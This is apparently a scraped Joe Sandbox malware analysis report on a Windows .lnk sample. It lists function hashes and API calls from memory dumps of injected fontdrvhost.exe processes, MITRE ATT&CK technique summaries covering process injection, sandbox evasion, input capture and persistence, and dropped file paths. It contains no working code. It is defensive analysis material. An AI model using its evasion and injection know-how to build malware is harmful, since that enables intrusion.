Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34522f753af112dd1497c6e29514fe2f54bea1cdc993f411be224016e6552b91
Instruction ID: f3a7c2948960b4613f59609422cbb1fde87871de88abb461150a6d1058b4cc1f
Opcode Fuzzy Hash: 34522f753af112dd1497c6e29514fe2f54bea1cdc993f411be224016e6552b91
Instruction Fuzzy Hash: FC517CB1A152458FFB64CF5AE991BAEBBF0FB88310F24806AD405EB750D3759D81CB50

Function 000EC400 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba3f5721a32ca9ad105233ac624e95501b247b3b7aa0a962565ec09735c94ae4
Instruction ID: 9461a0aa3156e3ae2efab1daffaa06086c0a66145c5f5ea379d4247f8ba8ae69
Opcode Fuzzy Hash: ba3f5721a32ca9ad105233ac624e95501b247b3b7aa0a962565ec09735c94ae4
Instruction Fuzzy Hash: 523161605040A50EE76D873E4879179FFE1AA8920274D83AFE4FBDA1D2D92CC145DBA0

Function 000F9277 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction ID: 7570bdbe89013fde4364eb05d316581af98cf2fa4b23aa21536af3021a874da3
Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction Fuzzy Hash: CFF09675A00208EFC7A4DF0AC544EA977F6FBC5720B654595D504DB721D3B0DE44EB50

Function 000EE841 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 000EE960
___TypeMatch.LIBVCRUNTIME ref: 000EEA6E
_UnwindNestedFrames.LIBCMT ref: 000EEBC0
CallUnexpected.LIBVCRUNTIME ref: 000EEBDB

Strings

csm, xrefs: 000EE87E
csm, xrefs: 000EE8EB
csm, xrefs: 000EE997

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 32cf783fffe4c48590cb459ce9596b30bf6e57665c5922c881d3412f6c9e1137
Instruction ID: f95a8a2e0d9ba0c2c81353308c969f17efb67dddc1ac311d27a2a8ec0ffb81e5
Opcode Fuzzy Hash: 32cf783fffe4c48590cb459ce9596b30bf6e57665c5922c881d3412f6c9e1137
Instruction Fuzzy Hash: 3FB16A758002CDDFCF69DFA6C8819AEBBB5FF14310B18456AE8017B212D731EA51CB92

Function 000ED940 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 000ED977
___except_validate_context_record.LIBVCRUNTIME ref: 000ED97F
_ValidateLocalCookies.LIBCMT ref: 000EDA08
__IsNonwritableInCurrentImage.LIBCMT ref: 000EDA33
_ValidateLocalCookies.LIBCMT ref: 000EDA88

Strings

csm, xrefs: 000EDA1D

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5b52188556bade266b845e6823a89c7dd1072168ad7278822857bcf8cca1f5d8
Instruction ID: 41168729e07f1d8e97020608753e7c25b75e3312084e3151aafeb0c4ed47d4d7
Opcode Fuzzy Hash: 5b52188556bade266b845e6823a89c7dd1072168ad7278822857bcf8cca1f5d8
Instruction Fuzzy Hash: 28419234A002889FCF10EF6ACC85AAEBBF5EF45314F148166E9157B393D7319A11CB91

Function 000EE5EA Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000EE6B1
___AdjustPointer.LIBCMT ref: 000EE6D4
___AdjustPointer.LIBCMT ref: 000EE770

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 8a4fa4f0415026080be17e64840d11d58f1024f90d27019fb6a85c06f9cb50de
Instruction ID: dda1d8d944f03a68cac75a48dfd776e5ca45c898a685a358026c9d1e1d143ed9
Opcode Fuzzy Hash: 8a4fa4f0415026080be17e64840d11d58f1024f90d27019fb6a85c06f9cb50de
Instruction Fuzzy Hash: 415116B16052CAAFDB298F12E841BBA77E4EF54340F24452DE945672A2D731ED41C790

Function 000EDE91 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 000EDEAD
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000EDEC6

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 80ed7091fc5d2b11a4ae48c28a67bd4a12215066317cfc5c9cb0d0531d5b47f3
Instruction ID: 41ca98da8bcfebaf438571d47cb9f9bde2594049802b3f09b123df4d90975dec
Opcode Fuzzy Hash: 80ed7091fc5d2b11a4ae48c28a67bd4a12215066317cfc5c9cb0d0531d5b47f3
Instruction Fuzzy Hash: 2501243220E3D19EF66037B6AC895BB27E4DF12371720037BF554A55E3EE214C819140

Analysis Process: fontdrvhost.exePID: 9664, Parent PID: 1860COMMON

Executed Functions

Function 02DE02D8 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 169memoryfileCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 02DE0326

Part of subcall function 02DE00A4: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02DE00CD
Part of subcall function 02DE00A4: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02DE0279

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 02DE0378
VirtualProtect.KERNELBASE(0000002C,?,00000040,?), ref: 02DE03E7
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02DE0407
MapViewOfFile.KERNELBASE(?,00000004,00000000,00000000,00000000), ref: 02DE042E
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02DE0456
CloseHandle.KERNELBASE(?), ref: 02DE0471

Strings

,, xrefs: 02DE0356

Memory Dump Source

Source File: 0000001F.00000003.2319537846.0000000002DE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_2de0000_fontdrvhost.jbxd

Similarity

API ID: Virtual$Alloc$Free$CloseFileHandleProtectView
String ID: ,
API String ID: 3867569247-3772416878
Opcode ID: 35eb397ea14406336b01ea38f36e06f8461e94550e7b98cd084062937234d485
Instruction ID: 04ca4b2da2e469dc5723061c7591ea8db5a2bf430c19152f893903c804e0cf43
Opcode Fuzzy Hash: 35eb397ea14406336b01ea38f36e06f8461e94550e7b98cd084062937234d485
Instruction Fuzzy Hash: 31611CB1900609EFDF21DFA5C984ADEBBB9FF08355F14C51AE95AA7240D770A940CF60

Function 02DE00A4 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02DE00CD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02DE0279

Memory Dump Source

Source File: 0000001F.00000003.2319537846.0000000002DE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_2de0000_fontdrvhost.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: 05d29e23e3be46695175b18bf628575fd90a20c92261d0cff3ae944b7672c2c2
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: F8717B71A04249DFDF41DF98C981BEDBBF0AB09315F248095E5A6FB341C374AA91CB64

Function 02DE0230 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 02DE0279

Memory Dump Source

Source File: 0000001F.00000003.2319537846.0000000002DE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_3_2de0000_fontdrvhost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 72cd1d773d33be3c714891ca11413f6904648207820b321c7b6ca4a788c60533
Instruction ID: 957ef02f3df055bd204c48de3a140c88da4a9dbd2d4b5fc7738a987783882aeb
Opcode Fuzzy Hash: 72cd1d773d33be3c714891ca11413f6904648207820b321c7b6ca4a788c60533
Instruction Fuzzy Hash: B4F07F30A0424AEBCF41EE58D981BAEBBF1AB15301F608591E496FB250D6B0EE41DB61

Analysis Process: fontdrvhost.exePID: 8256, Parent PID: 1860COMMON

Execution Graph

Execution Coverage:	33.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	83.3%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000001FF1BD51CF4 Relevance: 3.3, APIs: 2, Instructions: 278
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000001FF1BD51F92
CloseHandle.KERNELBASE ref: 000001FF1BD51F9B

Memory Dump Source

Source File: 00000023.00000002.2520674551.000001FF1BD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FF1BD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_1ff1bd50000_fontdrvhost.jbxd

Similarity

API ID: AcceptCloseConnectHandlePort
String ID:
API String ID: 3811980168-0
Opcode ID: c28fd07678fc221e1754ee083f118103e9e8097afeb12f13d48dc470bfa4e84b
Instruction ID: 7cebd42bbd8d3e60fc3ef9f1ac46e69a143bc3f8fbd203de952359b3ca8f0026
Opcode Fuzzy Hash: c28fd07678fc221e1754ee083f118103e9e8097afeb12f13d48dc470bfa4e84b
Instruction Fuzzy Hash: 1491933150CA0DCFD769DB29C8417F573E1FB98310F18467ED98BC7296EA74A9428B81

Function 000001FF1BD50AC8 Relevance: 3.2, APIs: 2, Instructions: 185
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000001FF1BD50C14
NtAcceptConnectPort.NTDLL ref: 000001FF1BD50C5E

Memory Dump Source

Source File: 00000023.00000002.2520674551.000001FF1BD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FF1BD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_1ff1bd50000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 275693e7d66e5d53f7e2184dfa7c88ce453f9d9d0d3e8ba4525500231a394657
Instruction ID: b900ec17e92dcae365508bbf64d4ebaa31d09eaea5949bab66e241e0e2778f75
Opcode Fuzzy Hash: 275693e7d66e5d53f7e2184dfa7c88ce453f9d9d0d3e8ba4525500231a394657
Instruction Fuzzy Hash: 5C51393491C95E8AE32CA63888D52B877E1FB86305F38057EDAF3C5193E964C5478B82

Function 000001FF1BD51AA4 Relevance: 3.2, APIs: 2, Instructions: 150
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000001FF1BD51AE9

Part of subcall function 000001FF1BD51870: GetProcessMitigationPolicy.KERNELBASE ref: 000001FF1BD51943

NtAcceptConnectPort.NTDLL ref: 000001FF1BD51BE3

Memory Dump Source

Source File: 00000023.00000002.2520674551.000001FF1BD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FF1BD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_1ff1bd50000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort$MitigationPolicyProcess
String ID:
API String ID: 2923266908-0
Opcode ID: e7c877b781110a0d6e647df344fb2e40eb660a4b7f668a210715c22aed20397b
Instruction ID: 20d229dbbfa4800fc6e05475a33e83f1524c257d634693a3f855cda4f84e953c
Opcode Fuzzy Hash: e7c877b781110a0d6e647df344fb2e40eb660a4b7f668a210715c22aed20397b
Instruction Fuzzy Hash: C141F23020CB4D8FDB48DF2C88897A57BD0EB59320F0443AEE95ACB2D7DA74C9468795

Function 000001FF1BD515C0 Relevance: 1.6, APIs: 1, Instructions: 76
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL(?,?,?,?,?,?,?,?,00000000,000001FF1BD51E3A), ref: 000001FF1BD51654

Memory Dump Source

Source File: 00000023.00000002.2520674551.000001FF1BD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FF1BD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_1ff1bd50000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 1eb38bd4e9810c4692bda8c47b34b9a63fb6abd40dd4841afe63035e04063970
Instruction ID: 59edfdef2a844f1e7379d895814b421ec117385ff73de773b0713bdb87592780
Opcode Fuzzy Hash: 1eb38bd4e9810c4692bda8c47b34b9a63fb6abd40dd4841afe63035e04063970
Instruction Fuzzy Hash: 0E213E7150CB09CFDB58DF29C489AAAB7E1FB68305F180A7EE54AC6260E735D485CB41

Function 000001FF1BD51870 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessMitigationPolicy.KERNELBASE ref: 000001FF1BD51943

Memory Dump Source

Source File: 00000023.00000002.2520674551.000001FF1BD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FF1BD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_1ff1bd50000_fontdrvhost.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 26f3b5b73fc16ab59c2c5e195c9b4eeee4e831d251455a47b6c64e26f9aa79e3
Instruction ID: 8c363651f7f52b95cf1925801b140c418969ad0df897d7a3ae187c63d84b9a9b
Opcode Fuzzy Hash: 26f3b5b73fc16ab59c2c5e195c9b4eeee4e831d251455a47b6c64e26f9aa79e3
Instruction Fuzzy Hash: E031817010CA0FCAEBAD967A84947F172E0EF94310F1A01BDCA25D71D1FAA5CD4ACE40

Non-executed Functions

Function 000001FF1BD50511 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2520674551.000001FF1BD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FF1BD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_1ff1bd50000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247c94ababd4710b0196191072c8bbb5758b71c13019f7a788401a9348e82e18
Instruction ID: 1684949b0e2b346c4f6e13502068689c61c9b2d028cdf62c4328b71d82623ec0
Opcode Fuzzy Hash: 247c94ababd4710b0196191072c8bbb5758b71c13019f7a788401a9348e82e18
Instruction Fuzzy Hash: CFB01130E2AA00C2E3880E0AB8023A0F2B2C30B300F02B2322002F3220CA28CC08028F

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KjECqzXLWp.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fontdrvhost.exe_d32c824e8915b30da4efd4eabd13e74e4ef8c1_ad0be647_51295d42-4814-4584-bf0b-7ca43b466e26\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7FB1.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8001.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8040.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0ac3fa16-d4d4-4858-9066-cb1468c3dc9f.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0c321821-53b8-435b-a681-e96172a4570c.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\16a4a925-876d-4053-af62-adab3276974e.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\27afa5b1-d37e-43a8-9baf-d5ae63999bd2.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2f3047ba-fc8d-4883-9a19-60d5c0f74e88.tmp

Windows Analysis Report
KjECqzXLWp.lnk

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
